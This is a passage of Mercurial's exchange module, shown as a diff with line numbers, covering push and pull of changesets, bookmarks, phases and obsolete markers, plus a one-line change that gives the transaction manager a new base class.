834 834 """handle bookmark push through bundle2"""
835 835 if 'bookmarks' in pushop.stepsdone:
836 836 return
837 837 b2caps = bundle2.bundle2caps(pushop.remote)
838 838 if 'pushkey' not in b2caps:
839 839 return
840 840 pushop.stepsdone.add('bookmarks')
841 841 part2book = []
842 842 enc = pushkey.encode
843 843
844 844 def handlefailure(pushop, exc):
845 845 targetid = int(exc.partid)
846 846 for partid, book, action in part2book:
847 847 if partid == targetid:
848 848 raise error.Abort(bookmsgmap[action][1].rstrip() % book)
849 849 # we should not be called for part we did not generated
850 850 assert False
851 851
852 852 for book, old, new in pushop.outbookmarks:
853 853 part = bundler.newpart('pushkey')
854 854 part.addparam('namespace', enc('bookmarks'))
855 855 part.addparam('key', enc(book))
856 856 part.addparam('old', enc(old))
857 857 part.addparam('new', enc(new))
858 858 action = 'update'
859 859 if not old:
860 860 action = 'export'
861 861 elif not new:
862 862 action = 'delete'
863 863 part2book.append((part.id, book, action))
864 864 pushop.pkfailcb[part.id] = handlefailure
865 865
866 866 def handlereply(op):
867 867 ui = pushop.ui
868 868 for partid, book, action in part2book:
869 869 partrep = op.records.getreplies(partid)
870 870 results = partrep['pushkey']
871 871 assert len(results) <= 1
872 872 if not results:
873 873 pushop.ui.warn(_('server ignored bookmark %s update\n') % book)
874 874 else:
875 875 ret = int(results[0]['return'])
876 876 if ret:
877 877 ui.status(bookmsgmap[action][0] % book)
878 878 else:
879 879 ui.warn(bookmsgmap[action][1] % book)
880 880 if pushop.bkresult is not None:
881 881 pushop.bkresult = 1
882 882 return handlereply
883 883
884 884 @b2partsgenerator('pushvars', idx=0)
885 885 def _getbundlesendvars(pushop, bundler):
886 886 '''send shellvars via bundle2'''
887 887 if getattr(pushop.repo, '_shellvars', ()):
888 888 part = bundler.newpart('pushvars')
889 889
890 890 for key, value in pushop.repo._shellvars.iteritems():
891 891 part.addparam(key, value, mandatory=False)
892 892
893 893 def _pushbundle2(pushop):
894 894 """push data to the remote using bundle2
895 895
896 896 The only currently supported type of data is changegroup but this will
897 897 evolve in the future."""
898 898 bundler = bundle2.bundle20(pushop.ui, bundle2.bundle2caps(pushop.remote))
899 899 pushback = (pushop.trmanager
900 900 and pushop.ui.configbool('experimental', 'bundle2.pushback'))
901 901
902 902 # create reply capability
903 903 capsblob = bundle2.encodecaps(bundle2.getrepocaps(pushop.repo,
904 904 allowpushback=pushback))
905 905 bundler.newpart('replycaps', data=capsblob)
906 906 replyhandlers = []
907 907 for partgenname in b2partsgenorder:
908 908 partgen = b2partsgenmapping[partgenname]
909 909 ret = partgen(pushop, bundler)
910 910 if callable(ret):
911 911 replyhandlers.append(ret)
912 912 # do not push if nothing to push
913 913 if bundler.nbparts <= 1:
914 914 return
915 915 stream = util.chunkbuffer(bundler.getchunks())
916 916 try:
917 917 try:
918 918 reply = pushop.remote.unbundle(
919 919 stream, ['force'], pushop.remote.url())
920 920 except error.BundleValueError as exc:
921 921 raise error.Abort(_('missing support for %s') % exc)
922 922 try:
923 923 trgetter = None
924 924 if pushback:
925 925 trgetter = pushop.trmanager.transaction
926 926 op = bundle2.processbundle(pushop.repo, reply, trgetter)
927 927 except error.BundleValueError as exc:
928 928 raise error.Abort(_('missing support for %s') % exc)
929 929 except bundle2.AbortFromPart as exc:
930 930 pushop.ui.status(_('remote: %s\n') % exc)
931 931 if exc.hint is not None:
932 932 pushop.ui.status(_('remote: %s\n') % ('(%s)' % exc.hint))
933 933 raise error.Abort(_('push failed on remote'))
934 934 except error.PushkeyFailed as exc:
935 935 partid = int(exc.partid)
936 936 if partid not in pushop.pkfailcb:
937 937 raise
938 938 pushop.pkfailcb[partid](pushop, exc)
939 939 for rephand in replyhandlers:
940 940 rephand(op)
941 941
942 942 def _pushchangeset(pushop):
943 943 """Make the actual push of changeset bundle to remote repo"""
944 944 if 'changesets' in pushop.stepsdone:
945 945 return
946 946 pushop.stepsdone.add('changesets')
947 947 if not _pushcheckoutgoing(pushop):
948 948 return
949 949
950 950 # Should have verified this in push().
951 951 assert pushop.remote.capable('unbundle')
952 952
953 953 pushop.repo.prepushoutgoinghooks(pushop)
954 954 outgoing = pushop.outgoing
955 955 # TODO: get bundlecaps from remote
956 956 bundlecaps = None
957 957 # create a changegroup from local
958 958 if pushop.revs is None and not (outgoing.excluded
959 959 or pushop.repo.changelog.filteredrevs):
960 960 # push everything,
961 961 # use the fast path, no race possible on push
962 962 bundler = changegroup.cg1packer(pushop.repo, bundlecaps)
963 963 cg = changegroup.getsubset(pushop.repo,
964 964 outgoing,
965 965 bundler,
966 966 'push',
967 967 fastpath=True)
968 968 else:
969 969 cg = changegroup.getchangegroup(pushop.repo, 'push', outgoing,
970 970 bundlecaps=bundlecaps)
971 971
972 972 # apply changegroup to remote
973 973 # local repo finds heads on server, finds out what
974 974 # revs it must push. once revs transferred, if server
975 975 # finds it has different heads (someone else won
976 976 # commit/push race), server aborts.
977 977 if pushop.force:
978 978 remoteheads = ['force']
979 979 else:
980 980 remoteheads = pushop.remoteheads
981 981 # ssh: return remote's addchangegroup()
982 982 # http: return remote's addchangegroup() or 0 for error
983 983 pushop.cgresult = pushop.remote.unbundle(cg, remoteheads,
984 984 pushop.repo.url())
985 985
986 986 def _pushsyncphase(pushop):
987 987 """synchronise phase information locally and remotely"""
988 988 cheads = pushop.commonheads
989 989 # even when we don't push, exchanging phase data is useful
990 990 remotephases = pushop.remote.listkeys('phases')
991 991 if (pushop.ui.configbool('ui', '_usedassubrepo')
992 992 and remotephases # server supports phases
993 993 and pushop.cgresult is None # nothing was pushed
994 994 and remotephases.get('publishing', False)):
995 995 # When:
996 996 # - this is a subrepo push
997 997 # - and remote support phase
998 998 # - and no changeset was pushed
999 999 # - and remote is publishing
1000 1000 # We may be in issue 3871 case!
1001 1001 # We drop the possible phase synchronisation done by
1002 1002 # courtesy to publish changesets possibly locally draft
1003 1003 # on the remote.
1004 1004 remotephases = {'publishing': 'True'}
1005 1005 if not remotephases: # old server or public only reply from non-publishing
1006 1006 _localphasemove(pushop, cheads)
1007 1007 # don't push any phase data as there is nothing to push
1008 1008 else:
1009 1009 ana = phases.analyzeremotephases(pushop.repo, cheads,
1010 1010 remotephases)
1011 1011 pheads, droots = ana
1012 1012 ### Apply remote phase on local
1013 1013 if remotephases.get('publishing', False):
1014 1014 _localphasemove(pushop, cheads)
1015 1015 else: # publish = False
1016 1016 _localphasemove(pushop, pheads)
1017 1017 _localphasemove(pushop, cheads, phases.draft)
1018 1018 ### Apply local phase on remote
1019 1019
1020 1020 if pushop.cgresult:
1021 1021 if 'phases' in pushop.stepsdone:
1022 1022 # phases already pushed though bundle2
1023 1023 return
1024 1024 outdated = pushop.outdatedphases
1025 1025 else:
1026 1026 outdated = pushop.fallbackoutdatedphases
1027 1027
1028 1028 pushop.stepsdone.add('phases')
1029 1029
1030 1030 # filter heads already turned public by the push
1031 1031 outdated = [c for c in outdated if c.node() not in pheads]
1032 1032 # fallback to independent pushkey command
1033 1033 for newremotehead in outdated:
1034 1034 r = pushop.remote.pushkey('phases',
1035 1035 newremotehead.hex(),
1036 1036 str(phases.draft),
1037 1037 str(phases.public))
1038 1038 if not r:
1039 1039 pushop.ui.warn(_('updating %s to public failed!\n')
1040 1040 % newremotehead)
1041 1041
1042 1042 def _localphasemove(pushop, nodes, phase=phases.public):
1043 1043 """move <nodes> to <phase> in the local source repo"""
1044 1044 if pushop.trmanager:
1045 1045 phases.advanceboundary(pushop.repo,
1046 1046 pushop.trmanager.transaction(),
1047 1047 phase,
1048 1048 nodes)
1049 1049 else:
1050 1050 # repo is not locked, do not change any phases!
1051 1051 # Informs the user that phases should have been moved when
1052 1052 # applicable.
1053 1053 actualmoves = [n for n in nodes if phase < pushop.repo[n].phase()]
1054 1054 phasestr = phases.phasenames[phase]
1055 1055 if actualmoves:
1056 1056 pushop.ui.status(_('cannot lock source repo, skipping '
1057 1057 'local %s phase update\n') % phasestr)
1058 1058
1059 1059 def _pushobsolete(pushop):
1060 1060 """utility function to push obsolete markers to a remote"""
1061 1061 if 'obsmarkers' in pushop.stepsdone:
1062 1062 return
1063 1063 repo = pushop.repo
1064 1064 remote = pushop.remote
1065 1065 pushop.stepsdone.add('obsmarkers')
1066 1066 if pushop.outobsmarkers:
1067 1067 pushop.ui.debug('try to push obsolete markers to remote\n')
1068 1068 rslts = []
1069 1069 remotedata = obsolete._pushkeyescape(sorted(pushop.outobsmarkers))
1070 1070 for key in sorted(remotedata, reverse=True):
1071 1071 # reverse sort to ensure we end with dump0
1072 1072 data = remotedata[key]
1073 1073 rslts.append(remote.pushkey('obsolete', key, '', data))
1074 1074 if [r for r in rslts if not r]:
1075 1075 msg = _('failed to push some obsolete markers!\n')
1076 1076 repo.ui.warn(msg)
1077 1077
1078 1078 def _pushbookmark(pushop):
1079 1079 """Update bookmark position on remote"""
1080 1080 if pushop.cgresult == 0 or 'bookmarks' in pushop.stepsdone:
1081 1081 return
1082 1082 pushop.stepsdone.add('bookmarks')
1083 1083 ui = pushop.ui
1084 1084 remote = pushop.remote
1085 1085
1086 1086 for b, old, new in pushop.outbookmarks:
1087 1087 action = 'update'
1088 1088 if not old:
1089 1089 action = 'export'
1090 1090 elif not new:
1091 1091 action = 'delete'
1092 1092 if remote.pushkey('bookmarks', b, old, new):
1093 1093 ui.status(bookmsgmap[action][0] % b)
1094 1094 else:
1095 1095 ui.warn(bookmsgmap[action][1] % b)
1096 1096 # discovery can have set the value form invalid entry
1097 1097 if pushop.bkresult is not None:
1098 1098 pushop.bkresult = 1
1099 1099
1100 1100 class pulloperation(object):
1101 1101 """A object that represent a single pull operation
1102 1102
1103 1103 It purpose is to carry pull related state and very common operation.
1104 1104
1105 1105 A new should be created at the beginning of each pull and discarded
1106 1106 afterward.
1107 1107 """
1108 1108
1109 1109 def __init__(self, repo, remote, heads=None, force=False, bookmarks=(),
1110 1110 remotebookmarks=None, streamclonerequested=None):
1111 1111 # repo we pull into
1112 1112 self.repo = repo
1113 1113 # repo we pull from
1114 1114 self.remote = remote
1115 1115 # revision we try to pull (None is "all")
1116 1116 self.heads = heads
1117 1117 # bookmark pulled explicitly
1118 1118 self.explicitbookmarks = [repo._bookmarks.expandname(bookmark)
1119 1119 for bookmark in bookmarks]
1120 1120 # do we force pull?
1121 1121 self.force = force
1122 1122 # whether a streaming clone was requested
1123 1123 self.streamclonerequested = streamclonerequested
1124 1124 # transaction manager
1125 1125 self.trmanager = None
1126 1126 # set of common changeset between local and remote before pull
1127 1127 self.common = None
1128 1128 # set of pulled head
1129 1129 self.rheads = None
1130 1130 # list of missing changeset to fetch remotely
1131 1131 self.fetch = None
1132 1132 # remote bookmarks data
1133 1133 self.remotebookmarks = remotebookmarks
1134 1134 # result of changegroup pulling (used as return code by pull)
1135 1135 self.cgresult = None
1136 1136 # list of step already done
1137 1137 self.stepsdone = set()
1138 1138 # Whether we attempted a clone from pre-generated bundles.
1139 1139 self.clonebundleattempted = False
1140 1140
1141 1141 @util.propertycache
1142 1142 def pulledsubset(self):
1143 1143 """heads of the set of changeset target by the pull"""
1144 1144 # compute target subset
1145 1145 if self.heads is None:
1146 1146 # We pulled every thing possible
1147 1147 # sync on everything common
1148 1148 c = set(self.common)
1149 1149 ret = list(self.common)
1150 1150 for n in self.rheads:
1151 1151 if n not in c:
1152 1152 ret.append(n)
1153 1153 return ret
1154 1154 else:
1155 1155 # We pulled a specific subset
1156 1156 # sync on this subset
1157 1157 return self.heads
1158 1158
1159 1159 @util.propertycache
1160 1160 def canusebundle2(self):
1161 1161 return not _forcebundle1(self)
1162 1162
1163 1163 @util.propertycache
1164 1164 def remotebundle2caps(self):
1165 1165 return bundle2.bundle2caps(self.remote)
1166 1166
1167 1167 def gettransaction(self):
1168 1168 # deprecated; talk to trmanager directly
1169 1169 return self.trmanager.transaction()
1170 1170
1171 class transactionmanager(object):
1171 class transactionmanager(util.transactional):
1172 1172 """An object to manage the life cycle of a transaction
1173 1173
1174 1174 It creates the transaction on demand and calls the appropriate hooks when
1175 1175 closing the transaction."""
1176 1176 def __init__(self, repo, source, url):
1177 1177 self.repo = repo
1178 1178 self.source = source
1179 1179 self.url = url
1180 1180 self._tr = None
1181 1181
1182 1182 def transaction(self):
1183 1183 """Return an open transaction object, constructing if necessary"""
1184 1184 if not self._tr:
1185 1185 trname = '%s\n%s' % (self.source, util.hidepassword(self.url))
1186 1186 self._tr = self.repo.transaction(trname)
1187 1187 self._tr.hookargs['source'] = self.source
1188 1188 self._tr.hookargs['url'] = self.url
1189 1189 return self._tr
1190 1190
1191 1191 def close(self):
1192 1192 """close transaction if created"""
1193 1193 if self._tr is not None:
1194 1194 self._tr.close()
1195 1195
1196 1196 def release(self):
1197 1197 """release transaction if created"""
1198 1198 if self._tr is not None:
1199 1199 self._tr.release()
1200 1200
1201 1201 def pull(repo, remote, heads=None, force=False, bookmarks=(), opargs=None,
1202 1202 streamclonerequested=None):
1203 1203 """Fetch repository data from a remote.
1204 1204
1205 1205 This is the main function used to retrieve data from a remote repository.
1206 1206
1207 1207 ``repo`` is the local repository to clone into.
1208 1208 ``remote`` is a peer instance.
1209 1209 ``heads`` is an iterable of revisions we want to pull. ``None`` (the
1210 1210 default) means to pull everything from the remote.
1211 1211 ``bookmarks`` is an iterable of bookmarks requesting to be pulled. By
1212 1212 default, all remote bookmarks are pulled.
1213 1213 ``opargs`` are additional keyword arguments to pass to ``pulloperation``
1214 1214 initialization.
1215 1215 ``streamclonerequested`` is a boolean indicating whether a "streaming
1216 1216 clone" is requested. A "streaming clone" is essentially a raw file copy
1217 1217 of revlogs from the server. This only works when the local repository is
1218 1218 empty. The default value of ``None`` means to respect the server
1219 1219 configuration for preferring stream clones.
1220 1220
1221 1221 Returns the ``pulloperation`` created for this pull.
1222 1222 """
1223 1223 if opargs is None:
1224 1224 opargs = {}
1225 1225 pullop = pulloperation(repo, remote, heads, force, bookmarks=bookmarks,
1226 1226 streamclonerequested=streamclonerequested, **opargs)
1227 1227
1228 1228 peerlocal = pullop.remote.local()
1229 1229 if peerlocal:
1230 1230 missing = set(peerlocal.requirements) - pullop.repo.supported
1231 1231 if missing:
1232 1232 msg = _("required features are not"
1233 1233 " supported in the destination:"
1234 1234 " %s") % (', '.join(sorted(missing)))
1235 1235 raise error.Abort(msg)
1236 1236
1237 1237 wlock = lock = None
1238 1238 try:
1239 1239 wlock = pullop.repo.wlock()
1240 1240 lock = pullop.repo.lock()
1241 1241 pullop.trmanager = transactionmanager(repo, 'pull', remote.url())
1242 1242 streamclone.maybeperformlegacystreamclone(pullop)
1243 1243 # This should ideally be in _pullbundle2(). However, it needs to run
1244 1244 # before discovery to avoid extra work.
1245 1245 _maybeapplyclonebundle(pullop)
1246 1246 _pulldiscovery(pullop)
1247 1247 if pullop.canusebundle2:
1248 1248 _pullbundle2(pullop)
1249 1249 _pullchangeset(pullop)
1250 1250 _pullphase(pullop)
1251 1251 _pullbookmarks(pullop)
1252 1252 _pullobsolete(pullop)
1253 1253 pullop.trmanager.close()
1254 1254 finally:
1255 1255 lockmod.release(pullop.trmanager, lock, wlock)
1256 1256
1257 1257 return pullop
1258 1258
1259 1259 # list of steps to perform discovery before pull
1260 1260 pulldiscoveryorder = []
1261 1261
1262 1262 # Mapping between step name and function
1263 1263 #
1264 1264 # This exists to help extensions wrap steps if necessary
1265 1265 pulldiscoverymapping = {}
1266 1266
1267 1267 def pulldiscovery(stepname):
1268 1268 """decorator for function performing discovery before pull
1269 1269
1270 1270 The function is added to the step -> function mapping and appended to the
1271 1271 list of steps. Beware that decorated function will be added in order (this
1272 1272 may matter).
1273 1273
1274 1274 You can only use this decorator for a new step, if you want to wrap a step
1275 1275 from an extension, change the pulldiscovery dictionary directly."""
1276 1276 def dec(func):
1277 1277 assert stepname not in pulldiscoverymapping
1278 1278 pulldiscoverymapping[stepname] = func
1279 1279 pulldiscoveryorder.append(stepname)
1280 1280 return func
1281 1281 return dec
1282 1282
1283 1283 def _pulldiscovery(pullop):
1284 1284 """Run all discovery steps"""
1285 1285 for stepname in pulldiscoveryorder:
1286 1286 step = pulldiscoverymapping[stepname]
1287 1287 step(pullop)
1288 1288
1289 1289 @pulldiscovery('b1:bookmarks')
1290 1290 def _pullbookmarkbundle1(pullop):
1291 1291 """fetch bookmark data in bundle1 case
1292 1292
1293 1293 If not using bundle2, we have to fetch bookmarks before changeset
1294 1294 discovery to reduce the chance and impact of race conditions."""
1295 1295 if pullop.remotebookmarks is not None:
1296 1296 return
1297 1297 if pullop.canusebundle2 and 'listkeys' in pullop.remotebundle2caps:
1298 1298 # all known bundle2 servers now support listkeys, but lets be nice with
1299 1299 # new implementation.
1300 1300 return
1301 1301 pullop.remotebookmarks = pullop.remote.listkeys('bookmarks')
1302 1302
1303 1303
1304 1304 @pulldiscovery('changegroup')
1305 1305 def _pulldiscoverychangegroup(pullop):
1306 1306 """discovery phase for the pull
1307 1307
1308 1308 Current handle changeset discovery only, will change handle all discovery
1309 1309 at some point."""
1310 1310 tmp = discovery.findcommonincoming(pullop.repo,
1311 1311 pullop.remote,
1312 1312 heads=pullop.heads,
1313 1313 force=pullop.force)
1314 1314 common, fetch, rheads = tmp
1315 1315 nm = pullop.repo.unfiltered().changelog.nodemap
1316 1316 if fetch and rheads:
1317 1317 # If a remote heads in filtered locally, lets drop it from the unknown
1318 1318 # remote heads and put in back in common.
1319 1319 #
1320 1320 # This is a hackish solution to catch most of "common but locally
1321 1321 # hidden situation". We do not performs discovery on unfiltered
1322 1322 # repository because it end up doing a pathological amount of round
1323 1323 # trip for w huge amount of changeset we do not care about.
1324 1324 #
1325 1325 # If a set of such "common but filtered" changeset exist on the server
1326 1326 # but are not including a remote heads, we'll not be able to detect it,
1327 1327 scommon = set(common)
1328 1328 filteredrheads = []
1329 1329 for n in rheads:
1330 1330 if n in nm:
1331 1331 if n not in scommon:
1332 1332 common.append(n)
1333 1333 else:
1334 1334 filteredrheads.append(n)
1335 1335 if not filteredrheads:
1336 1336 fetch = []
1337 1337 rheads = filteredrheads
1338 1338 pullop.common = common
1339 1339 pullop.fetch = fetch
1340 1340 pullop.rheads = rheads
1341 1341
1342 1342 def _pullbundle2(pullop):
1343 1343 """pull data using bundle2
1344 1344
1345 1345 For now, the only supported data are changegroup."""
1346 1346 kwargs = {'bundlecaps': caps20to10(pullop.repo)}
1347 1347
1348 1348 # At the moment we don't do stream clones over bundle2. If that is
1349 1349 # implemented then here's where the check for that will go.
1350 1350 streaming = False
1351 1351
1352 1352 # pulling changegroup
1353 1353 pullop.stepsdone.add('changegroup')
1354 1354
1355 1355 kwargs['common'] = pullop.common
1356 1356 kwargs['heads'] = pullop.heads or pullop.rheads
1357 1357 kwargs['cg'] = pullop.fetch
1358 1358 if 'listkeys' in pullop.remotebundle2caps:
1359 1359 kwargs['listkeys'] = ['phases']
1360 1360 if pullop.remotebookmarks is None:
1361 1361 # make sure to always includes bookmark data when migrating
1362 1362 # `hg incoming --bundle` to using this function.
1363 1363 kwargs['listkeys'].append('bookmarks')
1364 1364
1365 1365 # If this is a full pull / clone and the server supports the clone bundles
1366 1366 # feature, tell the server whether we attempted a clone bundle. The
1367 1367 # presence of this flag indicates the client supports clone bundles. This
1368 1368 # will enable the server to treat clients that support clone bundles
1369 1369 # differently from those that don't.
1370 1370 if (pullop.remote.capable('clonebundles')
1371 1371 and pullop.heads is None and list(pullop.common) == [nullid]):
1372 1372 kwargs['cbattempted'] = pullop.clonebundleattempted
1373 1373
1374 1374 if streaming:
1375 1375 pullop.repo.ui.status(_('streaming all changes\n'))
1376 1376 elif not pullop.fetch:
1377 1377 pullop.repo.ui.status(_("no changes found\n"))
1378 1378 pullop.cgresult = 0
1379 1379 else:
1380 1380 if pullop.heads is None and list(pullop.common) == [nullid]:
1381 1381 pullop.repo.ui.status(_("requesting all changes\n"))
1382 1382 if obsolete.isenabled(pullop.repo, obsolete.exchangeopt):
1383 1383 remoteversions = bundle2.obsmarkersversion(pullop.remotebundle2caps)
1384 1384 if obsolete.commonversion(remoteversions) is not None:
1385 1385 kwargs['obsmarkers'] = True
1386 1386 pullop.stepsdone.add('obsmarkers')
1387 1387 _pullbundle2extraprepare(pullop, kwargs)
1388 1388 bundle = pullop.remote.getbundle('pull', **pycompat.strkwargs(kwargs))
1389 1389 try:
1390 1390 op = bundle2.processbundle(pullop.repo, bundle, pullop.gettransaction)
1391 1391 except bundle2.AbortFromPart as exc:
1392 1392 pullop.repo.ui.status(_('remote: abort: %s\n') % exc)
1393 1393 raise error.Abort(_('pull failed on remote'), hint=exc.hint)
1394 1394 except error.BundleValueError as exc:
1395 1395 raise error.Abort(_('missing support for %s') % exc)
1396 1396
1397 1397 if pullop.fetch:
1398 1398 pullop.cgresult = bundle2.combinechangegroupresults(op)
1399 1399
1400 1400 # processing phases change
1401 1401 for namespace, value in op.records['listkeys']:
1402 1402 if namespace == 'phases':
1403 1403 _pullapplyphases(pullop, value)
1404 1404
1405 1405 # processing bookmark update
1406 1406 for namespace, value in op.records['listkeys']:
1407 1407 if namespace == 'bookmarks':
1408 1408 pullop.remotebookmarks = value
1409 1409
1410 1410 # bookmark data were either already there or pulled in the bundle
1411 1411 if pullop.remotebookmarks is not None:
1412 1412 _pullbookmarks(pullop)
1413 1413
1414 1414 def _pullbundle2extraprepare(pullop, kwargs):
1415 1415 """hook function so that extensions can extend the getbundle call"""
1416 1416 pass
1417 1417
1418 1418 def _pullchangeset(pullop):
1419 1419 """pull changeset from unbundle into the local repo"""
1420 1420 # We delay the open of the transaction as late as possible so we
1421 1421 # don't open transaction for nothing or you break future useful
1422 1422 # rollback call
1423 1423 if 'changegroup' in pullop.stepsdone:
1424 1424 return
1425 1425 pullop.stepsdone.add('changegroup')
1426 1426 if not pullop.fetch:
1427 1427 pullop.repo.ui.status(_("no changes found\n"))
1428 1428 pullop.cgresult = 0
1429 1429 return
1430 1430 tr = pullop.gettransaction()
1431 1431 if pullop.heads is None and list(pullop.common) == [nullid]:
1432 1432 pullop.repo.ui.status(_("requesting all changes\n"))
1433 1433 elif pullop.heads is None and pullop.remote.capable('changegroupsubset'):
1434 1434 # issue1320, avoid a race if remote changed after discovery
1435 1435 pullop.heads = pullop.rheads
1436 1436
1437 1437 if pullop.remote.capable('getbundle'):
1438 1438 # TODO: get bundlecaps from remote
1439 1439 cg = pullop.remote.getbundle('pull', common=pullop.common,
1440 1440 heads=pullop.heads or pullop.rheads)
1441 1441 elif pullop.heads is None:
1442 1442 cg = pullop.remote.changegroup(pullop.fetch, 'pull')
1443 1443 elif not pullop.remote.capable('changegroupsubset'):
1444 1444 raise error.Abort(_("partial pull cannot be done because "
1445 1445 "other repository doesn't support "
1446 1446 "changegroupsubset."))
1447 1447 else:
1448 1448 cg = pullop.remote.changegroupsubset(pullop.fetch, pullop.heads, 'pull')
1449 1449 bundleop = bundle2.applybundle(pullop.repo, cg, tr, 'pull',
1450 1450 pullop.remote.url())
1451 1451 pullop.cgresult = bundle2.combinechangegroupresults(bundleop)
1452 1452
1453 1453 def _pullphase(pullop):
1454 1454 # Get remote phases data from remote
1455 1455 if 'phases' in pullop.stepsdone:
1456 1456 return
1457 1457 remotephases = pullop.remote.listkeys('phases')
1458 1458 _pullapplyphases(pullop, remotephases)
1459 1459
1460 1460 def _pullapplyphases(pullop, remotephases):
1461 1461 """apply phase movement from observed remote state"""
1462 1462 if 'phases' in pullop.stepsdone:
1463 1463 return
1464 1464 pullop.stepsdone.add('phases')
1465 1465 publishing = bool(remotephases.get('publishing', False))
1466 1466 if remotephases and not publishing:
1467 1467 # remote is new and non-publishing
1468 1468 pheads, _dr = phases.analyzeremotephases(pullop.repo,
1469 1469 pullop.pulledsubset,
1470 1470 remotephases)
1471 1471 dheads = pullop.pulledsubset
1472 1472 else:
1473 1473 # Remote is old or publishing all common changesets
1474 1474 # should be seen as public
1475 1475 pheads = pullop.pulledsubset
1476 1476 dheads = []
1477 1477 unfi = pullop.repo.unfiltered()
1478 1478 phase = unfi._phasecache.phase
1479 1479 rev = unfi.changelog.nodemap.get
1480 1480 public = phases.public
1481 1481 draft = phases.draft
1482 1482
1483 1483 # exclude changesets already public locally and update the others
1484 1484 pheads = [pn for pn in pheads if phase(unfi, rev(pn)) > public]
1485 1485 if pheads:
1486 1486 tr = pullop.gettransaction()
1487 1487 phases.advanceboundary(pullop.repo, tr, public, pheads)
1488 1488
1489 1489 # exclude changesets already draft locally and update the others
1490 1490 dheads = [pn for pn in dheads if phase(unfi, rev(pn)) > draft]
1491 1491 if dheads:
1492 1492 tr = pullop.gettransaction()
1493 1493 phases.advanceboundary(pullop.repo, tr, draft, dheads)
1494 1494
1495 1495 def _pullbookmarks(pullop):
1496 1496 """process the remote bookmark information to update the local one"""
1497 1497 if 'bookmarks' in pullop.stepsdone:
1498 1498 return
1499 1499 pullop.stepsdone.add('bookmarks')
1500 1500 repo = pullop.repo
1501 1501 remotebookmarks = pullop.remotebookmarks
1502 1502 remotebookmarks = bookmod.unhexlifybookmarks(remotebookmarks)
1503 1503 bookmod.updatefromremote(repo.ui, repo, remotebookmarks,
1504 1504 pullop.remote.url(),
1505 1505 pullop.gettransaction,
1506 1506 explicit=pullop.explicitbookmarks)
1507 1507
1508 1508 def _pullobsolete(pullop):
1509 1509 """utility function to pull obsolete markers from a remote
1510 1510
1511 1511 The `gettransaction` is function that return the pull transaction, creating
1512 1512 one if necessary. We return the transaction to inform the calling code that
1513 1513 a new transaction have been created (when applicable).
1514 1514
1515 1515 Exists mostly to allow overriding for experimentation purpose"""
1516 1516 if 'obsmarkers' in pullop.stepsdone:
1517 1517 return
1518 1518 pullop.stepsdone.add('obsmarkers')
1519 1519 tr = None
1520 1520 if obsolete.isenabled(pullop.repo, obsolete.exchangeopt):
1521 1521 pullop.repo.ui.debug('fetching remote obsolete markers\n')
1522 1522 remoteobs = pullop.remote.listkeys('obsolete')
1523 1523 if 'dump0' in remoteobs:
1524 1524 tr = pullop.gettransaction()
1525 1525 markers = []
1526 1526 for key in sorted(remoteobs, reverse=True):
1527 1527 if key.startswith('dump'):
1528 1528 data = util.b85decode(remoteobs[key])
1529 1529 version, newmarks = obsolete._readmarkers(data)
1530 1530 markers += newmarks
1531 1531 if markers:
1532 1532 pullop.repo.obsstore.add(tr, markers)
1533 1533 pullop.repo.invalidatevolatilesets()
1534 1534 return tr
1535 1535
1536 1536 def caps20to10(repo):
1537 1537 """return a set with appropriate options to use bundle20 during getbundle"""
1538 1538 caps = {'HG20'}
1539 1539 capsblob = bundle2.encodecaps(bundle2.getrepocaps(repo))
1540 1540 caps.add('bundle2=' + urlreq.quote(capsblob))
1541 1541 return caps
1542 1542
1543 1543 # List of names of steps to perform for a bundle2 for getbundle, order matters.
1544 1544 getbundle2partsorder = []
1545 1545
1546 1546 # Mapping between step name and function
1547 1547 #
1548 1548 # This exists to help extensions wrap steps if necessary
1549 1549 getbundle2partsmapping = {}
1550 1550
1551 1551 def getbundle2partsgenerator(stepname, idx=None):
1552 1552 """decorator for function generating bundle2 part for getbundle
1553 1553
1554 1554 The function is added to the step -> function mapping and appended to the
1555 1555 list of steps. Beware that decorated functions will be added in order
1556 1556 (this may matter).
1557 1557
1558 1558 You can only use this decorator for new steps, if you want to wrap a step
1559 1559 from an extension, attack the getbundle2partsmapping dictionary directly."""
1560 1560 def dec(func):
1561 1561 assert stepname not in getbundle2partsmapping
1562 1562 getbundle2partsmapping[stepname] = func
1563 1563 if idx is None:
1564 1564 getbundle2partsorder.append(stepname)
1565 1565 else:
1566 1566 getbundle2partsorder.insert(idx, stepname)
1567 1567 return func
1568 1568 return dec
1569 1569
1570 1570 def bundle2requested(bundlecaps):
1571 1571 if bundlecaps is not None:
1572 1572 return any(cap.startswith('HG2') for cap in bundlecaps)
1573 1573 return False
1574 1574
1575 1575 def getbundlechunks(repo, source, heads=None, common=None, bundlecaps=None,
1576 1576 **kwargs):
1577 1577 """Return chunks constituting a bundle's raw data.
1578 1578
1579 1579 Could be a bundle HG10 or a bundle HG20 depending on bundlecaps
1580 1580 passed.
1581 1581
1582 1582 Returns an iterator over raw chunks (of varying sizes).
1583 1583 """
1584 1584 kwargs = pycompat.byteskwargs(kwargs)
1585 1585 usebundle2 = bundle2requested(bundlecaps)
1586 1586 # bundle10 case
1587 1587 if not usebundle2:
1588 1588 if bundlecaps and not kwargs.get('cg', True):
1589 1589 raise ValueError(_('request for bundle10 must include changegroup'))
1590 1590
1591 1591 if kwargs:
1592 1592 raise ValueError(_('unsupported getbundle arguments: %s')
1593 1593 % ', '.join(sorted(kwargs.keys())))
1594 1594 outgoing = _computeoutgoing(repo, heads, common)
1595 1595 bundler = changegroup.getbundler('01', repo, bundlecaps)
1596 1596 return changegroup.getsubsetraw(repo, outgoing, bundler, source)
1597 1597
1598 1598 # bundle20 case
1599 1599 b2caps = {}
1600 1600 for bcaps in bundlecaps:
1601 1601 if bcaps.startswith('bundle2='):
1602 1602 blob = urlreq.unquote(bcaps[len('bundle2='):])
1603 1603 b2caps.update(bundle2.decodecaps(blob))
1604 1604 bundler = bundle2.bundle20(repo.ui, b2caps)
1605 1605
1606 1606 kwargs['heads'] = heads
1607 1607 kwargs['common'] = common
1608 1608
1609 1609 for name in getbundle2partsorder:
1610 1610 func = getbundle2partsmapping[name]
1611 1611 func(bundler, repo, source, bundlecaps=bundlecaps, b2caps=b2caps,
1612 1612 **pycompat.strkwargs(kwargs))
1613 1613
1614 1614 return bundler.getchunks()
1615 1615
1616 1616 @getbundle2partsgenerator('changegroup')
1617 1617 def _getbundlechangegrouppart(bundler, repo, source, bundlecaps=None,
1618 1618 b2caps=None, heads=None, common=None, **kwargs):
1619 1619 """add a changegroup part to the requested bundle"""
1620 1620 cg = None
1621 1621 if kwargs.get('cg', True):
